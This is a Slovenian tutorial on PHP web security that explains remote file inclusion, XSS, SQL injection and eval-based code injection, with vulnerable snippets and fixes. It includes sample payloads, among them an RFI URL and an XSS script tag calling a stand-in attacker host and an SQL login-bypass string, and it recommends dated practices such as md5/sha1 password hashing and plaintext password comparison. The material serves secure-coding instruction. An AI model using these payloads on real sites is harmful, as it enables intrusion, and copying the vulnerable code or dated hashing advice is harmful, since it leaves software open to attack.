Varnost in PHP
1. Kazalo
1. Kazalo
2. Uvod
3. Zakaj ravno spletne strani?
4. Tipi napadov in zaščita pred njimi
4.1. RFI (Remote File Inclusion)
4.2. XSS (Cross Site Scripting)
4.3. Code injection
4.3.1. SQL injection
4.3.2. PHP injection
5. Zaključek
6. Dodatno branje
2. Uvod
Danes v času, ko ima že skoraj vsak uporabnik interneta svojo spletno stran ali blog[1] je veliko spletnih strani tarča napadom. Ti napadi so posledica lenih administratorjev in neveščih programerjev spletnih strani.
Zaradi tega se dogaja, da je skriptni jezik PHP[2] malce na slabim glasu zaradi programerjev, ki vdiralcem puščajo vrata v strežnik na strežaj odprta, kar se potem nekega dne maščuje z vdorom.
3. Zakaj ravno spletne strani?
Preprosto, ker ni težko. Razlog leži v tem, da je se jeziki za programiranje spletnih strani interpretirajo, kar pomeni da lahko vdiralec vrine kodo, ki jo strežnik nato izvede, za razliko od programov, kateri se prevajajo v strojno kodo in za crack-anje le teh mora vdiralec zelo dobro znati zbirnik ali pa imeti na voljo izvorno kodo programa.
4. Tipi napadov in zaščita pred njimi
Poznamo več vrst napadov na spletne strani, ki se razlikujejo glede na izvedbo in nevarnost napada. Opisal bom samo par najpogostejših, obstaja jih še seveda veliko več.
4.1. RFI (Remote File Inclusion)
Oddaljeno vrivanje izvajanja datotek[3] je eden najbolj nevarnih načinov vdora, pri njem vdiralec spremeni izvajanje skripte tako, da se zraven izvede datoteka s kodo, ki si jo je v naprej pripravil na svoje[4] spletno gostovanje.
Napad je možen, če programer ne filtrira uporabnikovega input-a pri include-anju[5] datotek. Primer kode:
<?php
include($_GET['stran']);
?>
Pri zgornjem primeru želi programer generirati strani glede na parameter v naslovu strani (npr. http://example.tld/index.php?stran=vsebina.php),
koda je sintaktično pravilna in dela točno tisto, kar mora, spremenljivka $_GET[’stran’] prevzame vrednost “vsebina.php” in strežnik include-a in izvede datoteko vsebina.php, ki je v isti mapi kot datoteka index.php.
Ampak vdiralec, ki bo malce raziskal stran bo ugotovil, da je stran ranljiva in bo poskušal include-ati svojo (zlobno) kodo, tako da napiše pot do datoteke, ki jo je vnaprej pripravil na nekem gostovanju (npr. http://example.tld/index.php?stran=http://myevilhost.tld/evilscript.php), zaradi česar bo spremenljivka $_GET[’stran’] dobila vrednost “http://myevilhost.tld/evilscript.php” in strežnik bo izvedel skripto, ki jo je podal vdiralec, najverjetneje bo to kakšna ukazna lupina (glej sliko malce višje na desni).
Da se zaščitimo pred takšnim napadom moramo preveriti uporabnikov input, tako da predvidimo vse vnose, ki jih lahko uporabnik uporabi in če je vpisal veljaven vnos se mu prikaže zahtevano, drugače pa neka privzeta stran. Primer filtriranja uporabnikovega input-a:
<?php
switch(@$_GET['stran']) {
case "vsebina":
include('vsebina.php');
break;
default:
include('novice.php');
break;
}
?>
Prav tako je pametno v datoteki php.ini nastaviti nastavitev register_globals na Off, saj v nasprotnem primeru PHP nastavi spremenljivke, ki so podane kot parametri v naslovu skripte, v navadne spremenljivke z imenom parametra torej v našem primeru bi potem lahko poleg $_GET[’stran’] lahko uporabili tudi spremenljivko $stran.
4.2. XSS (Cross Site Scripting)
Skriptiranje preko strani[6] je napad, ki zahteva znanje JavaScript-a[7] pri njem gre zato, da vdiralec v kodo strani vrine JavaScript kodo, ki mu pošlje piškotek za prijavo, spremeni vsebino strani, ipd. Izhajamo iz preproste kode:
<?php
echo '<span id="novica">Novica: ' . $_GET['id'] . '</span>' . $row['vsebina_novice'];
?>
Na primer, da imamo neko skripto za prikazovanje novic, programer pričakuje, da bo uporabnik kot parameter vpisal številsko vrednost (npr. http://example.tld/index.php?id=3244) in ker spremenljivka $_GET[‘id’] dobi vrednost “3244″ se na strani prikaže zaporedna številka novice ter vsebina novice pod to zaporedno številko.
V tem primeru lahko vdiralec izvede XSS napad tako, da nekam podtakne tole povezavo: http://example.tld/index.php?id=<script src=http://myevilhost.tld/myevilscript.js></script>, tako se izvede JavaScript koda iz njegovega strežnika in vsi, ki bodo obiskali to povezavo (in imajo vključen JavaScript) bodo videli spremenjeno novico oz. kar bo pač vdiralec napisal v svojo JavaScript datoteko, vdiralec ponavadi povezavo še zakodira[8] tako da ne zgleda sumljivo.
XSS napad preprečimo zopet tako, da filtriramo uporabnikov input, tokrat lahko filtriramo z funkcijo intval(), ker pričakujemo, da bo uporabnik vnašal število:
<?php
echo '<span id="novica">Novica: ' . intval($_GET['id']) . '</span>' . $row['vsebina_novice'];
?>
Funkcija intval() bo v primeru, da nima podane številske vrednosti vrnila število “0″, drugače pa bo vrnila podano številko. Za filtriranje besedila pa ponavadi uporabimo funkcijo htmlspecialchars(), ki spremeni znake kot so “<”, “>” ipd. v njihove ustrezne HTML[9] kode in tako postanejo nenevarni.
4.3. Code injection
Vrivanje kode je tudi lahko zelo nevarno, saj lahko vdiralec vrine kodo, ki naredi karkoli si zaželi. Obstaja več tipov vrivanja kode glede na kodo, ki jo vrivamo, v naslednjih vrsticah bom opisal dva.
4.3.1. SQL injection
Eno izmed bolj znanih vrivanj kode je vrivanje/dopolnjevanje SQL[10] query-jev. Z njimi lahko vdiralec pridobi administratorske pravice brez administratorskega gesla, ukrade gesla uporabnikov itn. Za primer vzemimo kodo za preverjanje uporabniškega imena ter gesla:
<?php
$nick = $_POST['nick'];
$pass = $_POST['pass'];
$sql = "SELECT * FROM
users
WHERE
up='" . $nick . "'
AND
pass='" . $pass . "'";
$result = mysql_query($sql);
if($result) {
echo 'Uspesna prijava!';
} else {
echo 'Neuspesna prijava!';
}
?>
Koda deluje po pričakovanjih, ampak obstaja univerzalno geslo (kar programer verjetno ni hotel). Torej, če vdiralec vpiše geslo ‘ OR ”=‘ bo SQL strežnik izvedel tale query:
SELECT * FROM users WHERE up='uporabnik' AND pass='' OR ''=''
In ker se ta query uspešno izvede se lahko vdiralec s tem univerzalnim geslom prijavi. To preprečimo tako, da ustrezno escape-amo uporabnikov input z funkcijo mysql_real_escape_string(), če uporabljamo podatkovno bazo MySQL[11] druge podatkovne baze pa imajo druge funkcije za escape-anje. Še primer pravilnega preverjanja gesla:
<?php
$nick = mysql_real_escape_string($_POST['nick']);
$sql = "SELECT * FROM
users
WHERE
up='" . $nick . "'
LIMIT 1";
$result = mysql_query($sql);
$row = mysql_fetch_assoc($result);
if($row['pass'] == $_POST['pass']) {
echo 'Uspesna prijava!';
} else {
echo 'Neuspesna prijava!';
}
?>
Seveda velja opozoriti, da je pametno gesla v bazi kodirati z kakšnim ne reverzibilnim algoritmom (npr. md5[12] ali sha1[13] ali pa z kakšno kombinacijo obeh), ki vdiralcu, tudi če ukrade bazo z uporabniškimi imeni oteži delo, saj mora gesla crack-ati, kar lahko traja zelo dolgo.
4.3.1. PHP injection
Pri vrivanju PHP kode lahko vdiralec vrine kodo skozi funkcijo eval() ali preg_replace() v kolikor je programer uporabljal modifier “e”:
<?php
eval($_GET['code']);
?>
![]()
Na ta način lahko vrine vrstico za include-anje ter opravi RFI opisan zgoraj, da preprečimo ta tip napada, ne uporabljamo funkcije eval(), kjer res ni potrebno, namesto funkcije preg_replace(), ki uporablja modifier “e” pa raje uporabimo funkcijo preg_replace_callback(), ki nudi isto funkcionalnost z manj tveganja.
5. Zaključek
Obstaja veliko načinov, kako zlorabiti strežnik in se dokopati do popolnega nadzora, največkrat je za ranljivost spletnega sistema krivo neznanje ter lenoba programerjev, saj se jim ne da napisati vrstico ali dve več, kar bi jim prihranilo tudi do več mesecev dela pri popravljanju škode, ki jo je povzročil vdiralec v eni noči. Obstajajo tudi primeri, kjer je podjetje (spletna trgovina) zaradi vdora v njihov strežnik propadla, ker je vdiralec izbrisal pomembne podatke. Zato bi moral programer imeti zmeraj v misli, da uporabniku ne sme nikoli zaupati.
Vsa vprašanja, komentarje itd. napišite tukajle.
6. Dodatno branje
- PHP Security Guide
- PHP: Security - Manual
- Remote File Inclusion - Wikipedia
- SQL injection - Wikipedia
- Malicious Code Injection: It’s Not Just for SQL Anymore
- milw0rm.com
- weblog - internetni dnevnik ↩
- PHP: Hypertext Preprocessor - skriptni jezik za generiranje dinamičnih spletnih strani ↩
- Nekakšen slovenski prevod izraza RFI ↩
- Verjetno ukradeno ↩
- include - Vključevanje kode iz druge datoteke ↩
- Nekakšen slovenski prevod izraza XSS ↩
- JavaScript - Client-side skriptni jezik, ki omogoča večjo dinamičnost spletnih strani ↩
- Urlencode - algoritem za kodiranje URL povezav ↩
- HTML - HyperText Markup Language ↩
- SQL - Structured Query Language ↩
- MySQL - Popularna podatkovna baza, ki jo razvija Švedsko podjetje MySQL AB ↩
- MD5 - Message-Digest algorithm 5 ↩
- SHA - Secure Hash Algorithm ↩







